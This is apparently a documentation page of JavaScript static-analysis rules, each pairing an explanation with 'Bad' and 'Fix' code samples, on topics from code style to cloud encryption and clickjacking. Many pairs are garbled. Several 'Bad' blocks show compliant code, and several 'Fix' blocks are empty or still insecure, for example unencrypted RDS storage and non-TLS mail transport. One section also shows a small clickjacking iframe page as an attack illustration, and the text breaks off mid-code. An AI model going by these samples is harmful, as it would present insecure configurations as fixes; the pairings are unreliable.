      <p>Declaring a variable only to immediately return or throw it is considered a bad practice because it adds unnecessary complexity to the code. This practice can make the code harder to read and understand, as it introduces an extra step that doesn’t add any value. Instead of declaring a variable and then immediately returning or throwing it, it is generally better to return or throw the value directly. This makes the code cleaner, simpler, and easier to understand.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function computeDurationInMilliseconds(hours, minutes, seconds) {
      const duration = (((hours * 60) + minutes) * 60 + seconds) * 1000;
      return duration;
      }
      ```

      ```javascript Fix theme={null}
      function computeDurationInMilliseconds(hours, minutes, seconds) {
      return (((hours * 60) + minutes) * 60 + seconds) * 1000;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Disabling content security policy frame-ancestors directive is security-sensitive">
    <div class="paragraph">
      <p><a href="https://en.wikipedia.org/wiki/Clickjacking">Clickjacking</a> attacks occur when an attacker try to trick an user to click on certain buttons/links of a legit website. This attack can take place with malicious HTML frames well hidden in an attacker website.</p>
    </div>

    <div class="paragraph">
      <p>For instance, suppose a safe and authentic page of a social network ([https://socialnetworkexample.com/makemyprofilpublic](https://socialnetworkexample.com/makemyprofilpublic)) which allows an user to change the visibility of his profile by clicking on a button. This is a critical feature with high privacy concerns. Users are generally well informed on the social network of the consequences of this action. An attacker can trick users, without their consent, to do this action with the below embedded code added on a malicious website:</p>
    </div>

    <div class="listingblock">
      <div class="content">
        <pre>\<html>
        \<b>Click on the button below to win 5000\$\</b>
        \<br>
        \<iframe src="[https://socialnetworkexample.com/makemyprofilpublic](https://socialnetworkexample.com/makemyprofilpublic)" width="200" height="200">\</iframe>
        \</html></pre>
      </div>
    </div>

    <div class="paragraph">
      <p>Playing with the size of the iframe it’s sometimes possible to display only the critical parts of a page, in this case the button of the <em>makemyprofilpublic</em> page.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const express = require('express');
      const helmet = require('helmet');

      let app = express();

      app.use(
      helmet.contentSecurityPolicy({
      directives: {
        // other directives
        frameAncestors: ["'example.com'"] // Compliant
      } 
      })
      );
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Loops with at most one iteration should be refactored">
    <div class="paragraph">
      <p>A loop with at most one iteration is equivalent to the use of an \`if statement to conditionally execute one piece of code. No developer expects to find such a use of a loop statement. If the initial intention of the author was really to conditionally execute one piece of code, an if statement should be used instead.</p>
    </div>

    <div class="paragraph">
      <p>At worst that was not the initial intention of the author and so the body of the loop should be fixed to use the nested return, break or throw\` statements in a more appropriate way.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      for (let i = 0; i < 10; i++) { // noncompliant, loop only executes once
      console.log("i is " + i);
      break;
      }
      ...
      for (let i = 0; i < 10; i++) { // noncompliant, loop only executes once
      if (i == x) {
      break;
      } else {
      console.log("i is " + i);
      return;
      }
      }
      ```

      ```javascript Fix theme={null}
      for (let i = 0; i < 10; i++) {
      console.log("i is " + i);
      }
      ...
      for (let i = 0; i < 10; i++) {
      if (i == x) {
      break;
      } else {
      console.log("i is " + i);
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Authorizing an opened window to access back to the originating window is security-sensitive">
    <div class="paragraph">
      <p>A newly opened window having access back to the originating window could allow basic phishing attacks (the <code>window\.opener object is not null and thus window\.opener.location</code> can be set to a malicious website by the opened page).</p>
    </div>

    <div class="paragraph">
      <p>For instance, an attacker can put a link (say: "[http://example.com/mylink](http://example.com/mylink)") on a popular website that changes, when opened, the original page to "[http://example.com/fake\_login](http://example.com/fake_login)". On "[http://example.com/fake\_login](http://example.com/fake_login)" there is a fake login page which could trick real users to enter their credentials.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      window.open("https://example.com/dangerous"); // Sensitive
      ```

      ```javascript Fix theme={null}
      window.open("https://example.com/dangerous", "WindowName", "noopener");
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Using unencrypted RDS DB resources is security-sensitive">
    <div class="paragraph">
      <p>Using unencrypted RDS DB resources exposes data to unauthorized access.
      This includes database data, logs, automatic backups, read replicas, snapshots,
      and cluster metadata.</p>
    </div>

    <div class="paragraph">
      <p>This situation can occur in a variety of scenarios, such as:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>A malicious insider working at the cloud provider gains physical access to the storage device.</p>
        </li>

        <li>
          <p>Unknown attackers penetrate the cloud provider’s logical infrastructure and systems.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>After a successful intrusion, the underlying applications are exposed to:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>theft of intellectual property and/or personal data</p>
        </li>

        <li>
          <p>extortion</p>
        </li>

        <li>
          <p>denial of services and security bypasses via data corruption or deletion</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>AWS-managed encryption at rest reduces this risk with a simple switch.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      import { aws_rds as rds } from 'aws-cdk-lib';

      new rds.CfnDBCluster(this, 'example', {
      storageEncrypted: false, // Sensitive
      });
      ```

      ```javascript Fix theme={null}
      import { aws_rds as rds } from 'aws-cdk-lib';

      new rds.CfnDBInstance(this, 'example', {
      storageEncrypted: false, // Sensitive
      });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Delivering code in production with debug features activated is security-sensitive">
    <div class="paragraph">
      <p>Development tools and frameworks usually have options to make debugging easier for developers. Although these features are useful during development, they should never be enabled for applications deployed in production. Debug instructions or error messages can leak detailed information about the system, like the application’s path or file names.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const express = require('express');
      const errorhandler = require('errorhandler');

      let app = express();
      app.use(errorhandler()); // Sensitive
      ```

      ```javascript Fix theme={null}
      const express = require('express');
      const errorhandler = require('errorhandler');

      let app = express();

      if (process.env.NODE_ENV === 'development') {
      app.use(errorhandler());
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Standard outputs should not be used directly to log anything">
    <div class="paragraph">
      <p>In software development, logs serve as a record of events within an application, providing crucial insights for debugging.
      When logging, it is essential to ensure that the logs are:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>easily accessible</p>
        </li>

        <li>
          <p>uniformly formatted for readability</p>
        </li>

        <li>
          <p>properly recorded</p>
        </li>

        <li>
          <p>securely logged when dealing with sensitive data</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>Those requirements are not met if a program directly writes to the standard outputs (e.g., \{language\_std\_outputs}).
      That is why defining and using a dedicated logger is highly recommended.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function doSomething() {
      // ...
      console.log("My Message");
      // ...
      }
      ```

      ```javascript Fix theme={null}
      const winston = require("winston");

      const logger = winston.createLogger({
      level: "debug",
      format: winston.format.json(),
      transports: [new winston.transports.Console()],
      });


      function doSomething() {
      // ...
      logger.info("My Message");
      // ...
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Magic numbers should not be used">
    <div class="paragraph">
      <p>Magic numbers make the code more complex to understand as it requires the reader to have knowledge about the global context to understand the number itself.
      Their usage may seem obvious when writing the code, but it may not be the case for another developer or later once the context faded away.
      -1, 0, and 1 are not considered magic numbers.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function doSomething() {
      for (let i = 0; i < 4; i++) { // Noncompliant, 4 is a magic number
      // ...
      }
      }
      ```

      ```javascript Fix theme={null}
      function doSomething() {
      const numberOfCycles = 4;
      for (let i = 0; i < numberOfCycles; i++) { // Compliant
      // ...
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Boolean literals should not be used in comparisons">
    <div class="paragraph">
      <p>A boolean literal can be represented in two different ways: \{true} or \{false}.
      They can be combined with logical operators (\{ops}) to produce logical expressions that represent truth values.
      However, comparing a boolean literal to a variable or expression that evaluates to a boolean value is unnecessary and can make the code harder to read and understand.
      The more complex a boolean expression is, the harder it will be for developers to understand its meaning and expected behavior, and it will favour the introduction of new bugs.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      if (someValue == true) { /* ... */ } // Noncompliant: Redundant comparison
      if (someBooleanValue != true) { /* ... */ } // Noncompliant: Redundant comparison
      if (booleanMethod() || false) { /* ... */ }  // Noncompliant: Redundant OR
      doSomething(!false); // Noncompliant: Redundant negation
      ```

      ```javascript Fix theme={null}
      if (someValue) { /* ... */ }
      if (!someBooleanValue) { /* ... */ }
      if (booleanMethod()) { /* ... */ }
      doSomething(true);
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Using unencrypted SageMaker notebook instances is security-sensitive">
    <div class="paragraph">
      <p>Amazon SageMaker is a managed machine learning service in a hosted production-ready environment. To train machine learning models, SageMaker instances can process potentially sensitive data, such as personal information that should not be stored unencrypted. In the event that adversaries physically access the storage media, they cannot decrypt encrypted data.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      import { CfnNotebookInstance } from 'aws-cdk-lib/aws-sagemaker';

      new CfnNotebookInstance(this, 'example', {
        instanceType: 'instanceType',
        roleArn: 'roleArn'
      }); // Sensitive
      ```

      ```javascript Fix theme={null}
      import { CfnNotebookInstance } from 'aws-cdk-lib/aws-sagemaker';

      const encryptionKey = new Key(this, 'example', {
      enableKeyRotation: true,
      });
      new CfnNotebookInstance(this, 'example', {
      instanceType: 'instanceType',
      roleArn: 'roleArn',
      kmsKeyId: encryptionKey.keyId
      });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Octal values should not be used">
    <div class="paragraph">
      <p>Integer literals starting with a zero are octal rather than decimal values. While using octal values is fully supported, most developers do not have experience with them. They may not recognize octal values as such, mistaking them instead for decimal values.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const myNumber = 010; // Noncompliant: Deprecated format
      ```

      ```javascript Fix theme={null}
      const myNumber = 8;
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Using pseudorandom number generators (PRNGs) is security-sensitive">
    <div class="paragraph">
      <p>Using pseudorandom number generators (PRNGs) is security-sensitive. For example, it has led in the past to the following vulnerabilities:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-6386">CVE-2013-6386</a></p>
        </li>

        <li>
          <p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3419">CVE-2006-3419</a></p>
        </li>

        <li>
          <p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4102">CVE-2008-4102</a></p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      // === Client side ===
      const crypto = window.crypto || window.msCrypto;
      var array = new Uint32Array(1);
      crypto.getRandomValues(array); // Compliant for security-sensitive use cases

      // === Server side ===
      const crypto = require('crypto');
      const buf = crypto.randomBytes(1); // Compliant for security-sensitive use cases
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Exceptions should not be ignored">
    <div class="paragraph">
      <p>When exceptions occur, it is usually a bad idea to simply ignore them. Instead, it is better to handle them properly, or at least to log them.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function f() {
      try {
      doSomething();
      } catch (err) {
      }
      }
      ```

      ```javascript Fix theme={null}
      function f() {
      try {
      doSomething();
      } catch (err) {
      console.log(`Exception while doing something: ${err}`);
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Expanding archive files without controlling resource consumption is security-sensitive">
    <div class="paragraph">
      <p>Successful Zip Bomb attacks occur when an application expands untrusted archive files without controlling the size of the expanded data, which can lead to denial of service. A Zip bomb is usually a malicious archive file of a few kilobytes of compressed data but turned into gigabytes of uncompressed data. To achieve this extreme <a href="https://en.wikipedia.org/wiki/Data_compression_ratio">compression ratio</a>, attackers will compress irrelevant data (eg: a long string of repeated bytes).</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const tar = require('tar');
      const MAX_FILES = 10000;
      const MAX_SIZE = 1000000000; // 1 GB

      let fileCount = 0;
      let totalSize = 0;

      tar.x({
      file: 'foo.tar.gz',
      filter: (path, entry) => {
      fileCount++;
      if (fileCount > MAX_FILES) {
        throw 'Reached max. number of files';
      }

      totalSize += entry.size;
      if (totalSize > MAX_SIZE) {
        throw 'Reached max. size';
      }

      return true;
      }
      });
      ```

      ```javascript Fix theme={null}
      const AdmZip = require('adm-zip');
      const MAX_FILES = 10000;
      const MAX_SIZE = 1000000000; // 1 GB
      const THRESHOLD_RATIO = 10;

      let fileCount = 0;
      let totalSize = 0;
      let zip = new AdmZip("./foo.zip");
      let zipEntries = zip.getEntries();
      zipEntries.forEach(function(zipEntry) {
      fileCount++;
      if (fileCount > MAX_FILES) {
          throw 'Reached max. number of files';
      }

      let entrySize = zipEntry.getData().length;
      totalSize += entrySize;
      if (totalSize > MAX_SIZE) {
          throw 'Reached max. size';
      }

      let compressionRatio = entrySize / zipEntry.header.compressedSize;
      if (compressionRatio > THRESHOLD_RATIO) {
          throw 'Reached max. compression ratio';
      }

      if (!zipEntry.isDirectory) {
          zip.extractEntryTo(zipEntry.entryName, ".");
      }
      });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Policies granting all privileges are security-sensitive">
    <div class="paragraph">
      <p>A policy that grants all permissions may indicate an improper access control, which violates <a href="https://en.wikipedia.org/wiki/Principle_of_least_privilege">the principle of least privilege</a>. Suppose an identity is granted full permissions to a resource even though it only requires read permission to work as expected. In this case, an unintentional overwriting of resources may occur and therefore result in loss of information.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      import { aws_iam as iam } from 'aws-cdk-lib'

      new iam.PolicyStatement({
      effect: iam.Effect.ALLOW,
      actions: ["*"], // Sensitive
      resources: ["arn:aws:iam:::user/*"],
      })
      ```

      ```javascript Fix theme={null}
      import { aws_iam as iam } from 'aws-cdk-lib'

      new iam.PolicyStatement({
      effect: iam.Effect.ALLOW,
      actions: ["iam:GetAccountSummary"],
      resources: ["arn:aws:iam:::user/*"],
      })
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Mergeable if statements should be combined">
    <div class="paragraph">
      <p>Nested code - blocks of code inside blocks of code - is eventually necessary, but increases complexity. This is why keeping the code as flat as possible, by avoiding unnecessary nesting, is considered a good practice.</p>
    </div>

    <div class="paragraph">
      <p>Merging if statements when possible will decrease the nesting of the code and improve its readability.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      if (x != undefined) {
      if (y === 2) {
      // ...
      }
      }
      ```

      ```javascript Fix theme={null}
      if (x != undefined && y === 2) {
      // ...
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Functions should not be empty">
    <div class="paragraph">
      <p>An empty \{operationName} is generally considered bad practice and can lead to confusion, readability, and maintenance issues.
      Empty \{operationName}s bring no functionality and are misleading to others as they might think the \{operationName} implementation fulfills a specific and identified requirement.</p>
    </div>

    <div class="paragraph">
      <p>There are several reasons for a \{operationName} not to have a body:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>It is an unintentional omission, and should be fixed to prevent an unexpected behavior in production.</p>
        </li>

        <li>
          <p>It is not yet, or never will be, supported. In this case an exception should be thrown.</p>
        </li>

        <li>
          <p>The method is an intentionally-blank override. In this case a nested comment should explain the reason for the blank override.</p>
        </li>
      </ul>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      static defaultProps = {
      listStyle: () => {}
      };

      function onClick() {
      }

      function myNoopFunction() {
      }

      class C {
      constructor() {}
      }
      ```

      ```javascript Fix theme={null}
      function shouldNotBeEmpty() {  // Noncompliant - method is empty
      }

      function notImplemented() {  // Noncompliant - method is empty
      }

      function emptyOnPurpose() {  // Noncompliant - method is empty
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Disabling versioning of S3 buckets is security-sensitive">
    <div class="paragraph">
      <p>S3 buckets can be in three states related to versioning:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>unversioned (default one)</p>
        </li>

        <li>
          <p>enabled</p>
        </li>

        <li>
          <p>suspended</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>When the S3 bucket is unversioned or has versioning suspended it means that a new version of an object overwrites an existing one in the S3 bucket.</p>
    </div>

    <div class="paragraph">
      <p>It can lead to unintentional or intentional information loss.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const s3 = require('aws-cdk-lib/aws-s3');

      new s3.Bucket(this, 'id', {
      bucketName: 'bucket',
      versioned: false // Sensitive
      });
      ```

      ```javascript Fix theme={null}
      const s3 = require('aws-cdk-lib/aws-s3');

      new s3.Bucket(this, 'id', {
      bucketName: 'bucket',
      versioned: true
      });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Using clear-text protocols is security-sensitive">
    <div class="paragraph">
      <p>Clear-text protocols such as \`ftp, telnet, or http lack
      encryption of transported data, as well as the capability to build an
      authenticated connection. It means that an attacker able to sniff traffic from
      the network can read, modify, or corrupt the transported content. These
      protocols are not secure as they expose applications to an extensive range of
      risks:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>sensitive data exposure</p>
        </li>

        <li>
          <p>traffic redirected  to a malicious endpoint</p>
        </li>

        <li>
          <p>malware-infected software update or installer</p>
        </li>

        <li>
          <p>execution of client-side code</p>
        </li>

        <li>
          <p>corruption of critical information</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>Even in the context of isolated networks like offline environments or segmented
      cloud environments, the insider threat exists. Thus, attacks involving
      communications being sniffed or tampered with can still happen.</p>
    </div>

    <div class="paragraph">
      <p>For example, attackers could successfully compromise prior security layers by:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>bypassing isolation mechanisms</p>
        </li>

        <li>
          <p>compromising a component of the network</p>
        </li>

        <li>
          <p>getting the credentials of an internal IAM account (either from a service
          account or an actual person)</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>In such cases, encrypting communications would decrease the chances of attackers
      to successfully leak data or steal credentials from other network components.
      By layering various security practices (segmentation and encryption, for
      example), the application will follow the <em>defense-in-depth</em> principle.</p>
    </div>

    <div class="paragraph">
      <p>Note that using the http\` protocol is being deprecated by
      <a href="https://blog.mozilla.org/security/2015/04/30/deprecating-non-secure-http">major web browsers</a>.</p>
    </div>

    <div class="paragraph">
      <p>In the past, it has led to the following vulnerabilities:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p><a href="https://nvd.nist.gov/vuln/detail/CVE-2019-6169">CVE-2019-6169</a></p>
        </li>

        <li>
          <p><a href="https://nvd.nist.gov/vuln/detail/CVE-2019-12327">CVE-2019-12327</a></p>
        </li>

        <li>
          <p><a href="https://nvd.nist.gov/vuln/detail/CVE-2019-11065">CVE-2019-11065</a></p>
        </li>
      </ul>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      url = "http://example.com"; // Sensitive
      url = "ftp://anonymous@example.com"; // Sensitive
      url = "telnet://anonymous@example.com"; // Sensitive
      ```

      ```javascript Fix theme={null}
      const nodemailer = require("nodemailer");
      let transporter = nodemailer.createTransport({
      secure: false, // Sensitive
      requireTLS: false // Sensitive
      });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Creating cookies without the HttpOnly flag is security-sensitive">
    <div class="paragraph">
      <p>When a cookie is configured with the <code>HttpOnly attribute set to <em>true</em>, the browser guaranties that no client-side script will be able to read it. In most cases, when a cookie is created, the default value of HttpOnly is <em>false</em> and it’s up to the developer to decide whether or not the content of the cookie can be read by the client-side script. As a majority of Cross-Site Scripting (XSS) attacks target the theft of session-cookies, the HttpOnly</code> attribute can help to reduce their impact as it won’t be possible to exploit the XSS vulnerability to steal session-cookies.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let session = cookieSession({
      httpOnly: true,// Compliant
      });  // Compliant
      ```

      ```javascript Fix theme={null}
      const express = require('express');
      const session = require('express-session');

      let app = express();
      app.use(session({
      cookie: 
      { 
      httpOnly: true // Compliant
      }
      }));
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Forwarding client IP address is security-sensitive">
    <div class="paragraph">
      <p>Users often connect to web servers through HTTP proxies.</p>
    </div>

    <div class="paragraph">
      <p>Proxy can be configured to forward the client IP address via the <code>X-Forwarded-For or Forwarded</code> HTTP headers.</p>
    </div>

    <div class="paragraph">
      <p>IP address is a personal information which can identify a single user and thus impact his privacy.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      var httpProxy = require('http-proxy');

      // By default xfwd option is false
      httpProxy.createProxyServer({target:'http://localhost:9000'}) // Compliant
      .listen(8000);
      ```

      ```javascript Fix theme={null}
      var express = require('express');

      const { createProxyMiddleware } = require('http-proxy-middleware');

      const app = express();

      // By default xfwd option is false
      app.use('/proxy', createProxyMiddleware({ target: 'http://localhost:9000', changeOrigin: true})); // Compliant
      app.listen(3000);
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Reluctant quantifiers in regular expressions should be followed by an expression that cant match the empty string">
    <div class="paragraph">
      <p>When a reluctant (or lazy) quantifier is followed by a pattern that can match the empty string or directly by the end of the regex, it will always match zero times for \*? or one time for +?. If a reluctant quantifier is followed directly by the end anchor (\$), it  behaves indistinguishably from a greedy quantifier while being less efficient.</p>
    </div>

    <div class="paragraph">
      <p>This is likely a sign that the regex does not work as intended.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      str.split(/.*?x?/); // Noncompliant, this will behave just like "x?"
      /^.*?$/.test(str); // Noncompliant, replace with ".*"
      ```

      ```javascript Fix theme={null}
      str.split(/.*?x/);
      /^.*$/.test(str);
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Redundant pairs of parentheses should be removed">
    <div class="paragraph">
      <p>The use of parentheses, even those not required to enforce a desired order of operations, can clarify the intent behind a piece of code. However, redundant pairs of parentheses could be misleading and should be removed.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let x = ((y / 2 + 1));  // Noncompliant

      if (a && ((x + y > 0))) {  // Noncompliant
      return ((x + 1));  // Noncompliant
      }
      ```

      ```javascript Fix theme={null}
      let x = (y / 2 + 1);

      if (a && (x + y > 0)) {
      return (x + 1);
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Regular expression quantifiers and character classes should be used concisely">
    <div class="paragraph">
      <p>A regular expression is a sequence of characters that specifies a match pattern in text. Among the most important concepts are:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>Character classes: defines a set of characters, any one of which can occur in an input string for a match to succeed.</p>
        </li>

        <li>
          <p>Quantifiers: used to specify how many instances of a character, group, or character class must be present in the input for a match.</p>
        </li>

        <li>
          <p>Wildcard (.): matches all characters except line terminators (also matches them if the s flag is set).</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>Many of these features include shortcuts of widely used expressions, so there is more than one way to construct a regular expression to achieve the same results.
      For example, to match a two-digit number, one could write \[0-9]\{2,2} or \d\{2}. The latter is not only shorter but easier to read and thus to maintain.</p>
    </div>

    <div class="paragraph">
      <p>This rule recommends replacing some quantifiers and character classes with more concise equivalents:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>\d for \[0-9] and \D for \[^0-9]</p>
        </li>

        <li>
          <p>\w for \[A-Za-z0-9\_] and \W for \`\[^A-Za-z0-9\_]</p>
        </li>

        <li>
          <p>. for character classes matching everything (e.g. \[\w\W], \[\d\D], or \[\s\S] with s flag)</p>
        </li>

        <li>
          <p>x? for x\{0,1}, x\* for x\{0,}, x+ for x\{1,}, x\{N} for x\{N,N}\`</p>
        </li>
      </ul>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      /a{1,}/;        // Noncompliant, '{1,}' quantifier is the same as '+'
      /[A-Za-z0-9_]/; // Noncompliant, '\w' is equivalent
      ```

      ```javascript Fix theme={null}
      /a+/;
      /\w/;
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Disabling server-side encryption of S3 buckets is security-sensitive">
    <div class="paragraph">
      <p>Server-side encryption (SSE) encrypts an object (not the metadata) as it is written to disk (where the S3 bucket resides) and decrypts it as it is read from disk. This doesn’t change the way the objects are accessed, as long as the user has the necessary permissions, objects are retrieved as if they were unencrypted. Thus, SSE only helps in the event of disk thefts, improper disposals of disks and other attacks on the AWS infrastructure itself.</p>
    </div>

    <div class="paragraph">
      <p>There are three SSE options:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>Server-Side Encryption with Amazon S3-Managed Keys (SSE-S3)</p>

          <div class="ulist">
            <ul>
              <li>
                <p>AWS manages encryption keys and the encryption itself (with AES-256) on its own.</p>
              </li>
            </ul>
          </div>
        </li>

        <li>
          <p>Server-Side Encryption with Customer Master Keys (CMKs) Stored in AWS Key Management Service (SSE-KMS)</p>

          <div class="ulist">
            <ul>
              <li>
                <p>AWS manages the encryption (AES-256) of objects and encryption keys provided by the AWS KMS service.</p>
              </li>
            </ul>
          </div>
        </li>

        <li>
          <p>Server-Side Encryption with Customer-Provided Keys (SSE-C)</p>

          <div class="ulist">
            <ul>
              <li>
                <p>AWS manages only the encryption (AES-256) of objects with encryption keys provided by the customer. AWS doesn’t store the customer’s encryption keys.</p>
              </li>
            </ul>
          </div>
        </li>
      </ul>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const s3 = require('aws-cdk-lib/aws-s3');

      new s3.Bucket(this, 'id', {
      bucketName: 'default'
      }); // Sensitive
      ```

      ```javascript Fix theme={null}
      const s3 = require('aws-cdk-lib/aws-s3');

      new s3.Bucket(this, 'id', {
      encryption: s3.BucketEncryption.KMS_MANAGED
      });

      # Alternatively with a KMS key managed by the user.

      new s3.Bucket(this, 'id', {
      encryption: s3.BucketEncryption.KMS_MANAGED,
      encryptionKey: access_key
      });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Using shell interpreter when executing OS commands is security-sensitive">
    <div class="paragraph">
      <p>Arbitrary OS command injection vulnerabilities are more likely when a shell is spawned rather than a new process, indeed shell meta-chars can be used (when parameters are user-controlled for instance) to inject OS commands.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const cp = require('child_process');

      cp.spawnSync("/usr/bin/file.exe", { shell: false }); // Compliant
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="switch statements should not contain non-case labels">
    <div class="paragraph">
      <p>Even if it is legal, mixing case and non-case labels in the body of a switch statement is very confusing and can even be the result of a typing error.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      switch (day) {
      case MONDAY:
      case TUESDAY:
      WEDNESDAY:   // instead of "case WEDNESDAY"
      doSomething();
      break;
      ...
      }
      ```

      ```javascript Fix theme={null}
      switch (day) {
      case MONDAY:
      break;
      case TUESDAY:
      foo:for(i = 0 ; i < X ; i++) {
           /* ... */
          break foo;  // this break statement doesn't relate to the nesting case TUESDAY
           /* ... */
      }
      break;
      /* ... */
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Identical expressions should not be used on both sides of a binary operator">
    <div class="paragraph">
      <p>Using the same value on both sides of a binary operator is a code defect. In the case of logical operators, it is either a copy/paste error and, therefore, a bug, or it is simply duplicated code and should be simplified. In the case of bitwise operators and most binary mathematical operators, having the same value on both sides of an operator yields predictable results and should be simplified as well.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      if (a == b && a == b) { // if the first one is true, the second one is too
      doX();
      }
      if (a > a) { // always false
      doW();
      }

      var j = 5 / 5; //always 1
      var k = 5 - 5; //always 0
      ```

      ```javascript Fix theme={null}
      if (f !== f) { // test for NaN value
      console.log("f is NaN");
      }

      var i = 1 << 1; // Compliant
      var j = a << a; // Noncompliant
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Allowing requests with excessive content length is security-sensitive">
    <div class="paragraph">
      <p>Rejecting requests with significant content length is a good practice to control the network traffic intensity and thus resource consumption in order to prevent DoS attacks.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const form = new Formidable(); 
      form.maxFileSize = 10000000; // Sensitive: 10MB is more than the recommended limit of 8MB 

      const formDefault = new Formidable(); // Sensitive, the default value is 200MB
      ```

      ```javascript Fix theme={null}
      let diskUpload = multer({
      storage: diskStorage,
      limits: { 
      fileSize: 10000000; // Sensitive: 10MB is more than the recommended limit of 8MB
      }
      });

      let diskUploadUnlimited = multer({ // Sensitive: the default value is no limit
      storage: diskStorage, 
      });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Assignments should not be made from within sub-expressions">
    <div class="paragraph">
      <p>A common code smell that can hinder the clarity of source code is making assignments within sub-expressions.
      This practice involves assigning a value to a variable inside a larger expression, such as within a loop or a conditional statement.</p>
    </div>

    <div class="paragraph">
      <p>This practice essentially gives a side-effect to a larger expression, thus making it less readable. This often leads to confusion and potential errors.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      if (val = value() && check()) { // Noncompliant
      // ...
      }
      ```

      ```javascript Fix theme={null}
      val = value();
      if (val && check()) {
      // ...
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Using unencrypted SNS topics is security-sensitive">
    <div class="paragraph">
      <p>Amazon Simple Notification Service (SNS) is a managed messaging service for application-to-application (A2A) and application-to-person (A2P) communication. SNS topics allows publisher systems to fanout messages to a large number of subscriber systems. Amazon SNS allows to encrypt messages when they are received. In the case that adversaries gain physical access to the storage medium or otherwise leak a message they are not able to access the data.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      import { Topic } from 'aws-cdk-lib/aws-sns';

